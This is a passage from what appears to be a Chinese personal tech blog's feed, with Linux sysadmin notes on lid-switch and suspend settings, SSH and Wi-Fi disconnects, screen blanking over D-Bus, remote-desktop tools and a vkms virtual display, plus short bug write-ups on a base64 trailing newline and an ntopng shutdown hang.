&lt;p&gt;&lt;strong&gt;缺点（太重）&lt;&#x2F;strong&gt;：手动 &lt;code&gt;systemctl suspend&lt;&#x2F;code&gt;、按电源键、合盖全部静默失败；电池模式下也无法省电；无法区分 AC&#x2F;电池策略。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-er-gnome-dian-yuan-guan-li-tui-jian-li-du-xi&quot;&gt;方案二：GNOME 电源管理（推荐，粒度细）&lt;&#x2F;h2&gt;
&lt;p&gt;原理：&lt;code&gt;gsd-power&lt;&#x2F;code&gt; 持有 sleep &lt;code&gt;block&lt;&#x2F;code&gt; 抑制剂（&lt;code&gt;systemd-inhibit --list&lt;&#x2F;code&gt; 可查），logind 执行 IdleAction 时被抑制剂挡住，机器不会因空闲挂起，但&lt;strong&gt;手动挂起&#x2F;电源键仍然可用&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 空闲自动挂起：AC&amp;#x2F;电池 均设为 nothing（不挂起）
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type nothing
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type nothing
gsettings get org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type   # 验证
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;he-gai-xing-wei-logind-drop-in-bi-xu-dai-login-duan-tou-yi-cai-keng&quot;&gt;合盖行为：logind drop-in 必须带 [Login] 段头（易踩坑）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;症状&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;logind.conf.d&#x2F;override.conf&lt;&#x2F;code&gt; 写了 &lt;code&gt;HandleLidSwitch=ignore&lt;&#x2F;code&gt;，&lt;code&gt;systemd-analyze cat-config&lt;&#x2F;code&gt; 也显示已合并，但 logind 生效值仍是 &lt;code&gt;suspend&lt;&#x2F;code&gt;，合盖照样挂起。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;根因&lt;&#x2F;strong&gt;：drop-in 文件漏了 &lt;code&gt;[Login]&lt;&#x2F;code&gt; 段头——systemd 配置解析要求键必须属于某个 section，没有段头整行被忽略。日志可见（需 root 读 journal）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemd-logind: &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf.d&amp;#x2F;override.conf:1: Assignment outside of section. Ignoring.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;systemd-analyze cat-config&lt;&#x2F;code&gt; 只拼接文件内容、不做 section 校验，所以看起来一切正常——别被它骗了。&lt;&#x2F;p&gt;
&lt;p&gt;（旧版曾误判为&quot;gsd-power 在会话启动时用 SetLidSwitchBehavior 覆盖 logind 配置&quot;：实际 systemd ≥257 已移除该方法，logind 合盖行为完全由配置决定，不存在运行时覆盖；D-Bus 监听也证实无任何调用。误判源于对 &lt;code&gt;HandleLidSwitch&lt;&#x2F;code&gt; 属性值的错误解读——它如实反映配置，配置只是没生效而已。）&lt;&#x2F;p&gt;
&lt;p&gt;排查&#x2F;验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 看 logind 当前生效的合盖行为
busctl get-property org.freedesktop.login1 &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;login1 org.freedesktop.login1.Manager HandleLidSwitch

# drop-in 未生效时，root 查看被忽略的原因
sudo journalctl -u systemd-logind -n 20 | grep -i &amp;quot;outside of section&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修复（改完 &lt;code&gt;systemctl restart systemd-logind&lt;&#x2F;code&gt; 立即生效；会登出图形会话，对纯服务器无影响）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf.d&amp;#x2F;override.conf &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
[Login]
HandleLidSwitch=ignore
HandleLidSwitchExternalPower=ignore
EOF
sudo systemctl restart systemd-logind
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;he-gai-ignore-zhi-hou-ping-mu-bu-hui-zi-dong-xi-ping-sheng-dian-que-ren-fang-fa&quot;&gt;合盖 ignore 之后：屏幕不会自动息屏（省电确认方法）&lt;&#x2F;h3&gt;
&lt;p&gt;合盖不挂起后，OS 层面对 lid 事件不再做任何动作，&lt;strong&gt;屏幕也不会自动熄灭&lt;&#x2F;strong&gt;：背光保持原亮度、GPU 继续渲染、eDP 供电不断。是否真省电取决于笔记本 EC 固件是否在硬件层切断面板供电（系统内无法直接确认，多数笔记本 EC 会断，但别默认）。&lt;&#x2F;p&gt;
&lt;p&gt;确认屏幕当前是否在省电状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 背光设定值（0 = 软件层已熄屏；非 0 = 还亮着）
cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;backlight&amp;#x2F;*&amp;#x2F;actual_brightness &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;backlight&amp;#x2F;*&amp;#x2F;max_brightness

# GPU 渲染管道是否还活动（有 &amp;quot;1920x1080&amp;quot; 这样的帧缓冲 = 还在渲染）
sudo cat &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dri&amp;#x2F;0&amp;#x2F;state | grep &amp;quot;crtc-pos&amp;quot;

# eDP 数据通道供电（PORT_DDI_LANES_A = 1 说明还在供电）
sudo cat &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dri&amp;#x2F;0&amp;#x2F;i915_power_domain_info | grep &amp;quot;PORT_DDI_LANES_A&amp;quot;

# 功耗对比（最可靠；需拔电源用电池，合盖前后各读一次）
awk &amp;#x27;{print &amp;quot;放电功率(W):&amp;quot;, $1*$2&amp;#x2F;1e12}&amp;#x27; \
  &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;power_supply&amp;#x2F;BAT1&amp;#x2F;current_now &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;power_supply&amp;#x2F;BAT1&amp;#x2F;voltage_now
# 或者最直接：开一条缝看屏幕
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;真正省电靠 &lt;strong&gt;idle 息屏&lt;&#x2F;strong&gt;：GNOME &lt;code&gt;org.gnome.desktop.session idle-delay&lt;&#x2F;code&gt;（默认 300s）闲置后屏幕熄灭（背光归 0），与合盖无关；&lt;code&gt;0&lt;&#x2F;code&gt; = 永不自动息屏。注意&lt;strong&gt;登录页（gdm greeter）状态下的息屏由 greeter 决定，未必生效&lt;&#x2F;strong&gt;——要确保息屏先登录回图形会话。合盖 ignore 不影响手动 &lt;code&gt;systemctl suspend&lt;&#x2F;code&gt;（需要时仍可手动挂起省电）。&lt;&#x2F;p&gt;
&lt;p&gt;SSH 会话里 &lt;code&gt;gsettings get&#x2F;set&lt;&#x2F;code&gt; 直接可用（dconf 写用户库，无需会话 DBus）；但 &lt;code&gt;gdbus&#x2F;busctl&lt;&#x2F;code&gt; 调图形会话接口（息屏&#x2F;锁屏，见下文）需借用图形会话的 DBus（&lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt; 从 gnome-shell 进程 environ 取）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-yuan-cheng-ji-ssh-duan-lian&quot;&gt;排查：远程机 SSH 断连&lt;&#x2F;h1&gt;
&lt;p&gt;场景症状 &lt;code&gt;ssh: connect to host ... No route to host&lt;&#x2F;code&gt;，先分清是「机器挂了」还是「换 IP 了」：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ping -c2 &amp;lt;host&amp;gt;                    # 不通：机器挂起&amp;#x2F;关机，或 IP 已变
uptime -p; last reboot -2          # suspend 不重置 uptime；last reboot 区分挂起 vs 重启
cat &amp;#x2F;proc&amp;#x2F;acpi&amp;#x2F;button&amp;#x2F;lid&amp;#x2F;*&amp;#x2F;state  # 合盖挂起的机器：开盖自动恢复（SSH 又通了就是合盖挂起）
nmap -sn -T4 192.168.2.0&amp;#x2F;24 | grep report   # IP 变了：扫存活主机，用 hostname 对上目标
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;etc&#x2F;hosts&lt;&#x2F;code&gt; 静态条目过期是常见原因（机器在线但换 DHCP IP）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pai-cha-fang-fa-lun-he-gai-gua-qi-shi-zhan-jiao-xun&quot;&gt;排查方法论（合盖挂起实战教训）&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;认错机器&lt;&#x2F;strong&gt;：主机离线时 nmap 扫到活机，先核对 &lt;code&gt;hostname&lt;&#x2F;code&gt;、&lt;code&gt;cat &#x2F;sys&#x2F;class&#x2F;dmi&#x2F;id&#x2F;product_name&lt;&#x2F;code&gt;、系统版本再当目标——局域网可能有多台相似机器（本案例把 .147 的 H3C MegaBook 当成 .63 的华为 MateBook 配置了一下午，改错了对象）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;journal 组权限坑&lt;&#x2F;strong&gt;：非 root 且不在 &lt;code&gt;adm&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;systemd-journal&lt;&#x2F;code&gt; 组时，&lt;code&gt;journalctl&lt;&#x2F;code&gt; 只显示本人会话的消息，系统消息（logind 等）全被隐藏——&lt;strong&gt;grep 不到 ≠ 没有日志&lt;&#x2F;strong&gt;。排查 systemd 行为一律 &lt;code&gt;sudo journalctl -u &amp;lt;unit&amp;gt; -n 20&lt;&#x2F;code&gt;。本案例 drop-in 被忽略的 &lt;code&gt;Assignment outside of section&lt;&#x2F;code&gt; 警告就是加了 sudo 才看到的。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;抓 D-Bus 调用方&lt;&#x2F;strong&gt;：&lt;code&gt;dbus-monitor --system &quot;type=method_call,member=&amp;lt;方法名&amp;gt;&quot;&lt;&#x2F;code&gt;（非 root 自动降级 eavesdropping，仍能抓到），配合重启服务&#x2F;登录会话重现。本案例用监听证实没有任何会话进程调用 SetLidSwitchBehavior，排除&quot;运行时覆盖&quot;理论，把排查收敛到配置解析本身。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;systemd ≥257 已移除 SetLidSwitchBehavior&lt;&#x2F;strong&gt;：logind 合盖行为完全由配置决定，不存在运行时覆盖——配置&quot;没生效&quot;优先怀疑配置本身（段头&#x2F;文件路径&#x2F;优先级），而不是被谁覆盖。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;wi-fi-bu-duan-xian&quot;&gt;Wi-Fi 不断线&lt;&#x2F;h1&gt;
&lt;p&gt;笔记本掉线头号元凶是 Wi-Fi 省电（NIC 间歇性休眠），SSH 空闲断连则是 NAT 超时掐线：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 关闭 Wi-Fi 省电（全局 + 单个连接，重启后仍生效）
sudo nmcli g s wifi.powersave 2
sudo nmcli con mod &amp;quot;SSID&amp;quot; 802-11-wireless.powersave disable
sudo nmcli con down &amp;quot;SSID&amp;quot; &amp;amp;&amp;amp; sudo nmcli con up &amp;quot;SSID&amp;quot;   # 重连使连接级配置生效
sudo iw dev wlan0 get power_save                          # 验证：Power save: off

# sshd 保活：&amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config.d&amp;#x2F;keepalive.conf
ClientAliveInterval 60
ClientAliveCountMax 3
sudo systemctl restart ssh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xi-ping-yu-suo-ping&quot;&gt;息屏与锁屏&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;息屏（DPMS）与休眠独立&lt;&#x2F;strong&gt;：息屏只是屏幕进省电状态，系统照常运行、SSH 不掉线；休眠是整机冻结。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查&amp;#x2F;关闭自动息屏（GNOME）
gsettings get org.gnome.desktop.session idle-delay     # 秒；0 = 永不自动息屏
gsettings set org.gnome.desktop.session idle-delay 0
gsettings get org.gnome.settings-daemon.plugins.power idle-dim   # 息屏前先变暗
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;远程控制息屏&#x2F;亮屏（&lt;strong&gt;即时动作&lt;&#x2F;strong&gt;；gsettings 只改&quot;空闲多久自动息屏&quot;之类的规则，不是动作，不能替代）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# GNOME Wayland：SSH 会话需借用图形会话的 bus。
# systemd 用户会话有固定路径 &amp;#x2F;run&amp;#x2F;user&amp;#x2F;&amp;lt;uid&amp;gt;&amp;#x2F;bus，比从 gnome-shell environ 里挖更稳；
# 跨用户会话（如活动会话是 gdm greeter，属 Debian-gdm）用 sudo -u。
busctl --user call org.gnome.ScreenSaver &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;ScreenSaver org.gnome.ScreenSaver SetActive b true   # true=息屏, false=亮屏
busctl --user call org.gnome.ScreenSaver &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;ScreenSaver org.gnome.ScreenSaver GetActive          # 查询屏保状态

# GNOME 同时实现了 org.gnome.ScreenSaver 和 org.freedesktop.ScreenSaver 两个名字（实测都可用），
# 用哪个都行；busctl 比 gdbus 稳（本机实测 gdbus 传 b 类型参数报 &amp;quot;expected value&amp;quot; 解析错误）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;坑与边界（实测）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;greeter 登录页没有 ScreenSaver 服务&lt;&#x2F;strong&gt;（greeter 的 bus 上只有 keyring）——上述 D-Bus 方案、&lt;code&gt;xdg-screensaver&lt;&#x2F;code&gt;、&lt;code&gt;gnome-screensaver-command&lt;&#x2F;code&gt; 在登录页&lt;strong&gt;全部失效&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;兜底方案：直接写背光 sysfs（&lt;code&gt;&#x2F;sys&#x2F;class&#x2F;backlight&#x2F;intel_backlight&#x2F;brightness&lt;&#x2F;code&gt;，0 = 息屏），greeter&#x2F;用户会话都适用；亮屏恢复上次值&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;gnome-screensaver-command&lt;&#x2F;code&gt; 已废弃（现代 GNOME 不安装）；&lt;code&gt;xdg-screensaver activate&lt;&#x2F;code&gt; 实测 exit 0 可用（内部转发到 D-Bus），但同样依赖会话里的 ScreenSaver 服务&lt;&#x2F;li&gt;
&lt;li&gt;现成脚本（dotfiles &lt;code&gt;~&#x2F;.my_local&#x2F;bin&#x2F;&lt;&#x2F;code&gt;，随仓库部署，SSH 远程直接可用）：&lt;code&gt;screen-state.sh&lt;&#x2F;code&gt;（状态：背光 + 会话屏保）、&lt;code&gt;screen-set.sh off|on&lt;&#x2F;code&gt;（优先 ScreenSaver，无服务时背光兜底，自动定位活动会话并 sudo -u）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# X11 环境有直接工具：xset dpms force off &amp;#x2F; on
# （旧文曾写 &amp;quot;Wayland 下 xdg-screensaver 已失效&amp;quot;——实测不准：xdg-screensaver 在 Wayland 可用，
#   失效的只是 xset，它只能操作 Xwayland 窗口，点不亮物理屏幕；wlopm 是 wlroots&amp;#x2F;Sway 系，GNOME 用不了）

# 锁屏：loginctl lock-session &amp;lt;id&amp;gt;（亮屏需密码，不适合远程）
# 锁屏不会断 Wi-Fi（网络栈与显示会话无关）；真正断网的是休眠
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rdp等连接linuxGUI的工具使用</title>
        <published>2025-10-17T11:25:34+08:00</published>
        <updated>2025-11-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/software/rdp等连接linuxGUI的工具使用/"/>
        <id>https://vercel.juzhong.asia/2025/10/software/rdp等连接linuxGUI的工具使用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/software/rdp等连接linuxGUI的工具使用/">&lt;h1 id=&quot;chang-yong-gong-ju&quot;&gt;常用工具&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;xrdp： 主要适配x11 xorg后端&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install xrdp
sudo apt install xfce4
echo xfce4-session &amp;gt; ~&amp;#x2F;.xsession
sudo systemctl restart xrdp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;gnome remote desktop： gnome桌面环境自带， 支持wayland&lt;&#x2F;li&gt;
&lt;li&gt;FreeRDP3： freerdp-shadow 组件据说支持 Wayland,这可能是未来 XRDP 自身支持 Wayland 的技术基础&lt;&#x2F;li&gt;
&lt;li&gt;Sunshine + Moonlight: Sunshine（服务端） + Moonlight（客户端）组合提供高性能的远程游戏串流，对 Wayland 支持较好&lt;&#x2F;li&gt;
&lt;li&gt;RustDesk: ustDesk 是另一个值得关注的跨平台远程桌面替代品&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;yuan-cheng-jian-pan-shu-biao&quot;&gt;远程键盘鼠标&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;x2x：这是一款经典的、专为Unix&#x2F;Linux系统设计的工具
它可以通过网络将一台电脑的键盘和鼠标共享给另一台，从而实现跨机器的屏幕扩展，让你的鼠标可以从一台电脑的屏幕边缘“移动”到另一台电脑的屏幕上。&lt;&#x2F;li&gt;
&lt;li&gt;Barrier：它是知名软件Synergy的开源分支，同样可以实现跨计算机共享一套键鼠
功能与x2x类似，配置界面可能更为友好一些。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;vkms&quot;&gt;vkms&lt;&#x2F;h1&gt;
&lt;p&gt;sudo modprobe vkms
步骤 1：安装 linux-image-amd64-unsigned（含 vkms）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Debian 13 默认内核无 vkms，需 unsigned 版
sudo apt update
sudo apt install linux-image-amd64-unsigned linux-headers-amd64-unsigned
sudo reboot
# 重启后选新内核（GRUB → Advanced options）
步骤 2：启用 vkms 虚拟屏（注入 EDID）
# 加载 vkms
sudo modprobe vkms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 生成 EDID（1920x1080）
sudo apt install edid-generator -y
edid-generator --name &amp;quot;Sunshine_Virtual&amp;quot; --width 1920 --height 1080 &amp;gt; &amp;#x2F;tmp&amp;#x2F;vkms.edid
# 注入 EDID（假设 vkms 创建 card1）
sudo sh -c &amp;#x27;cat &amp;#x2F;tmp&amp;#x2F;vkms.edid &amp;gt; &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dri&amp;#x2F;1&amp;#x2F;virtual_edid&amp;#x27;
echo &amp;quot;edid&amp;quot; | sudo tee &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;card1-VIRTUAL-1&amp;#x2F;status
# 通知 GNOME 启用
# 安装 wlroots-tools（用于唤醒输出）
sudo apt install wlroots-tools
# 强制启用（即使 GNOME 暂未发现）
wlr-randr --output VIRTUAL-1 --on --mode 1920x1080@60
# 触发 GNOME 重扫描
busctl --user call org.gnome.Mutter.DisplayConfig &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;Mutter&amp;#x2F;DisplayConfig \
  org.gnome.Mutter.DisplayConfig ApplyMonitorsConfig 2 su a(ua{sv}) 2 1 1 0 0 &amp;quot;&amp;quot;
# 图形界面启用（按 Alt 键！）
# 打开 Settings → Displays
# 按住 Alt 键
# 点击 ⋮ → Display arrangement
# 启用新出现的 &amp;quot;Unknown Display&amp;quot;
# Apply
# wlr-randr 显示 VIRTUAL-1 enabled
# Sunshine 可选为第二屏
# Apps 可拖入
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看是否生效
ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;          # 应出现 card1-VIRTUAL-1 等
cat &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dri&amp;#x2F;1&amp;#x2F;name  # 显示 &amp;quot;vkms&amp;quot;

# pipewire
pw-cli ls Node
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cha-kan-xian-shi-qi&quot;&gt;查看显示器&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install read-edid hwinfo
sudo hwinfo --monitor
cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;card0*&amp;#x2F;edid | parse-edid
sudo apt install lshw
sudo lshw -C display
sudo apt install edid-decode
edid-decode &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;card1-DP-1&amp;#x2F;edid
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>问题排查记录表</title>
        <published>2025-10-13T11:54:42+08:00</published>
        <updated>2025-10-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/问题排查记录表/"/>
        <id>https://vercel.juzhong.asia/2025/10/问题排查记录表/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/问题排查记录表/">&lt;h1 id=&quot;vm-ubuntu24-04-xu-ni-ji-guan-ji-jie-mian-qia-zhu&quot;&gt;vm ubuntu24.04 虚拟机关机界面卡住&lt;&#x2F;h1&gt;
&lt;p&gt;通过添加启动内核的参数， 在virt-view界面直接看到关机流程被阻塞在ntopng.service上&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo vim &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
# GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet splash&amp;quot;
# GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;
# loglevel=7 会显示全部内核消息。
GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;loglevel=7&amp;quot;
sudo update-grub

sudo systemctl edit ntopng.service
# TimeoutStopSec=3s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;base64fan-xu-lie-hua-wen-jian-nei-rong-shi-bai&quot;&gt;base64反序列化文件内容失败&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;使用serde_json 序列化一个对象， 并base64编码后打印出来&lt;&#x2F;li&gt;
&lt;li&gt;复制打印的base64字符串， 并保存到文件 &#x2F;tmp&#x2F;file&lt;&#x2F;li&gt;
&lt;li&gt;程序中读取&#x2F;tmp&#x2F;file内容，base64解码并使用serde_json反序列化， 会报错&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;yuan-yin&quot;&gt;原因&lt;&#x2F;h2&gt;
&lt;p&gt;通过排查发现，手动复制到文件&#x2F;tmp&#x2F;file的内容结尾多了一个换行符\n&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-jue&quot;&gt;解决&lt;&#x2F;h2&gt;
&lt;p&gt;删除结尾的\n字符即可&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;truncate -s -1 &amp;#x2F;tmp&amp;#x2F;file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>serde_json bigfix反序列化文件内容失败</title>
        <published>2025-10-10T17:45:35+08:00</published>
        <updated>2025-10-10T17:45:35+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/serde_json bigfix反序列化文件内容失败/"/>
        <id>https://vercel.juzhong.asia/2025/10/serde_json bigfix反序列化文件内容失败/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/serde_json bigfix反序列化文件内容失败/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;使用serde_json 序列化一个对象， 并base64编码后打印出来&lt;&#x2F;li&gt;
&lt;li&gt;复制打印的base64字符串， 并保存到文件 &#x2F;tmp&#x2F;file&lt;&#x2F;li&gt;
&lt;li&gt;程序中读取&#x2F;tmp&#x2F;file内容，base64解码并使用serde_json反序列化， 会报错&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;yuan-yin&quot;&gt;原因&lt;&#x2F;h1&gt;
&lt;p&gt;通过排查发现，手动复制到文件&#x2F;tmp&#x2F;file的内容结尾多了一个换行符\n&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-jue&quot;&gt;解决&lt;&#x2F;h1&gt;
&lt;p&gt;删除结尾的\n字符即可&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;truncate -s -1 &amp;#x2F;tmp&amp;#x2F;file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用 Address Sanitizer 排查内存越界</title>
        <published>2025-10-10T00:00:00+00:00</published>
        <updated>2025-10-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使用-address-sanitizer-排查内存越界/"/>
        <id>https://vercel.juzhong.asia/obsidian/使用-address-sanitizer-排查内存越界/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使用-address-sanitizer-排查内存越界/">&lt;h1 id=&quot;shi-yong-address-sanitizer-pai-cha-nei-cun-yue-jie&quot;&gt;使用 Address Sanitizer 排查内存越界&lt;&#x2F;h1&gt;
&lt;p&gt;在 C++ 开发中，内存越界是很头痛的问题。这类问题往往非常隐蔽，难以排查，且难以复现。为了排查这类问题，我们可以使用 Address Sanitizer 这个工具。&lt;&#x2F;p&gt;
&lt;p&gt;Address Sanitizer (aka ASan) 是 Google 开发的一款内存错误排查工具，帮助开发这定位各种内存错误，目前已经集成在主流工具链中。LLVM 3.1 和 GCC 4.8 以上的版本均支持 ASan。本文介绍 ASan 的使用方法和其基本原理。&lt;&#x2F;p&gt;
&lt;p&gt;如何使用&lt;&#x2F;p&gt;
&lt;p&gt;在支持 ASan 的编译器加上编译参数 &lt;code&gt;-fsanitize=address&lt;&#x2F;code&gt; 即可开启 ASan。例如我们有代码 &lt;code&gt;test.c&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;虽然存在内存越界写入，但是使用常规方法编译后，是能够“正常”运行的：&lt;&#x2F;p&gt;
&lt;p&gt;加上编译参数 &lt;code&gt;-fsanitize=address&lt;&#x2F;code&gt; 启用 ASan 后，运行便会触发 ASan 报错：&lt;&#x2F;p&gt;
